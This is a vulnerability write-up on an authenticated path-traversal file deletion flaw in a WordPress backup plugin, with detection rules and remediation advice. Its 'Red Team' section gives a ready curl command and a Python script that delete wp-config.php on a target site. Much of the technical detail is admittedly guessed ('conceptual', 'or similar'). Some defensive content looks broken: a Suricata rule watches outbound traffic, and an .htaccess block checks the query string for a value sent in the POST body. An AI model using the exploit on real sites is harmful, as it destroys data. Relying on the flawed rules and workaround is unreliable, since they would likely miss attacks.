CVE-2021-47979

Executive Summary

CVE-2021-47979 is a critical arbitrary file deletion vulnerability found in the WordPress plugin "Backup and Restore" version 1.0.3. This flaw allows an authenticated attacker to delete arbitrary files from the WordPress installation directory by sending crafted POST requests to admin-ajax.php. The vulnerability is classified as a Path Traversal (CWE-22) issue, enabling an attacker to manipulate file_name and folder_name parameters to delete sensitive files, potentially leading to a complete site denial of service or data loss. The CVSS score of 8.8 (High) reflects the low complexity and high impact on integrity and availability. No official patch has been identified, making this a significant risk for any WordPress site using this plugin.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. As a supply chain risk, any site that has installed the "Backup and Restore" plugin version 1.0.3 is vulnerable. The plugin's lack of proper input validation and authorization checks in AJAX handlers exposes the underlying file system to authenticated users. Organizations should audit their WordPress installations for this plugin and consider its removal or replacement until a patch is available.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) - requires authenticated user
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The threat level is high due to the ease of exploitation and the potential for complete site compromise. An attacker with minimal privileges (e.g., subscriber) can delete critical files like wp-config.php, index.php, or entire plugin directories, rendering the site inoperable.

Deep Dive & Mechanics

The vulnerability resides in the AJAX handler of the "Backup and Restore" plugin. The plugin registers an AJAX action that processes file deletion requests without proper validation of the file_name and folder_name parameters. The code likely uses user-supplied input directly in file system operations, such as unlink() or rmdir(), without sanitizing path traversal sequences (e.g., ../).

Attack Flow:

1. An authenticated attacker sends a POST request to /wp-admin/admin-ajax.php.
2. The request includes action=backup_and_restore_delete_file (or similar), file_name=../../wp-config.php, and folder_name=../../.
3. The plugin's handler concatenates the folder and file name, then deletes the target file.
4. The attacker can delete multiple files by sending repeated requests.

Root Cause: The plugin fails to:

• Validate that the file path is within the intended backup directory.
• Sanitize path traversal characters.
• Implement proper capability checks (e.g., manage_options).

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

add_action('wp_ajax_backup_and_restore_delete_file', 'handle_delete_file');
function handle_delete_file() {
    $folder = $_POST['folder_name'];
    $file = $_POST['file_name'];
    $path = WP_CONTENT_DIR . '/uploads/backups/' . $folder . '/' . $file;
    if (file_exists($path)) {
        unlink($path);
    }
    wp_die();
}

Patched Code (Hypothetical):

add_action('wp_ajax_backup_and_restore_delete_file', 'handle_delete_file');
function handle_delete_file() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized');
    }
    $folder = sanitize_file_name($_POST['folder_name']);
    $file = sanitize_file_name($_POST['file_name']);
    $base_dir = WP_CONTENT_DIR . '/uploads/backups/';
    $path = realpath($base_dir . $folder . '/' . $file);
    if (strpos($path, $base_dir) !== 0) {
        wp_die('Invalid path');
    }
    if (file_exists($path)) {
        unlink($path);
    }
    wp_die();
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with "Backup and Restore" plugin v1.0.3 installed and activated.
• Valid user credentials (e.g., subscriber or higher).

Exploit Steps:

1. Log in to WordPress and obtain a valid nonce (if required) by inspecting AJAX requests.
2. Send a POST request to delete wp-config.php:

curl -X POST https://target.com/wp-admin/admin-ajax.php \
  -d "action=backup_and_restore_delete_file&file_name=../../../wp-config.php&folder_name=../" \
  --cookie "wordpress_logged_in_xxx=..."

3. Verify deletion by accessing the site (should show a database connection error).

Automated Exploit (Python):

import requests

target = "https://target.com"
session = requests.Session()
# Login first
login_data = {"log": "user", "pwd": "pass", "wp-submit": "Log In"}
session.post(target + "/wp-login.php", data=login_data)

# Delete wp-config.php
ajax_url = target + "/wp-admin/admin-ajax.php"
payload = {
    "action": "backup_and_restore_delete_file",
    "file_name": "../../../wp-config.php",
    "folder_name": "../"
}
response = session.post(ajax_url, data=payload)
print(response.text)

Blue Team (Detection & Response)

Detection Steps:

1. Monitor for POST requests to admin-ajax.php with suspicious file_name or folder_name parameters containing ../.
2. Alert on multiple file deletion attempts within a short time window.
3. Check for sudden site errors (e.g., "Error establishing a database connection") indicating wp-config.php deletion.

Response:

1. Immediately isolate the affected server.
2. Restore deleted files from backup.
3. Disable or remove the vulnerable plugin.
4. Rotate all credentials (database, admin, etc.).
5. Conduct a full forensic analysis.

Indicators of Compromise (IOCs)

• File Paths: /wp-content/plugins/wp-backup-and-restore/
• AJAX Action: backup_and_restore_delete_file
• POST Parameters: file_name, folder_name containing path traversal sequences
• Log Entries: WordPress debug log showing unlink() failures or file not found errors
• Network Traffic: POST requests to /wp-admin/admin-ajax.php with action=backup_and_restore_delete_file
• File System: Missing critical files (wp-config.php, index.php, .htaccess)

Detection Engineering

YARA Rule

rule CVE_2021_47979_WordPress_Backup_Restore_File_Delete {
    meta:
        description = "Detects exploitation attempts of CVE-2021-47979 in WordPress Backup and Restore plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2021-47979"
    strings:
        $ajax_action = "backup_and_restore_delete_file"
        $path_traversal = "../"
        $file_param = "file_name"
        $folder_param = "folder_name"
    condition:
        $ajax_action and ($path_traversal or $file_param or $folder_param)
}

Sigma Rule

title: CVE-2021-47979 WordPress Backup and Restore File Deletion
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests to admin-ajax.php with path traversal parameters targeting the Backup and Restore plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: admin-ajax.php
        cs-uri-query|contains: backup_and_restore_delete_file
        cs-uri-query|contains: file_name
        cs-uri-query|contains: folder_name
    condition: selection
falsepositives:
    - Legitimate backup operations (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2021-47979 WordPress Backup and Restore File Deletion Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"admin-ajax.php"; http_uri;
    content:"backup_and_restore_delete_file"; http_client_body;
    content:"file_name"; http_client_body;
    content:"folder_name"; http_client_body;
    pcre:"/\.\.\//";
    sid:1000001;
    rev:1;
    reference:cve,2021-47979;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable or Remove the Plugin: Deactivate and delete the "Backup and Restore" plugin from the WordPress admin panel.
2. Restore Deleted Files: If exploitation occurred, restore wp-config.php, index.php, and other critical files from backup.
3. Change Credentials: Update all WordPress admin, database, and FTP credentials.

Long-term Mitigation:

1. Apply Virtual Patching: Use a Web Application Firewall (WAF) to block requests containing backup_and_restore_delete_file or path traversal patterns.
2. Monitor for Plugin Updates: Watch the WordPress plugin repository for a patched version.
3. Implement File Integrity Monitoring: Use tools like Tripwire or OSSEC to detect unauthorized file deletions.
4. Principle of Least Privilege: Ensure WordPress users have minimal necessary permissions.

Workaround (if plugin must remain):

• Add the following to .htaccess to block direct access to the plugin's AJAX handler:

<FilesMatch "admin-ajax\.php">
    <IfModule mod_rewrite.c>
        RewriteCond %{REQUEST_METHOD} POST
        RewriteCond %{QUERY_STRING} backup_and_restore_delete_file
        RewriteRule .* - [F,L]
    </IfModule>
</FilesMatch>

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert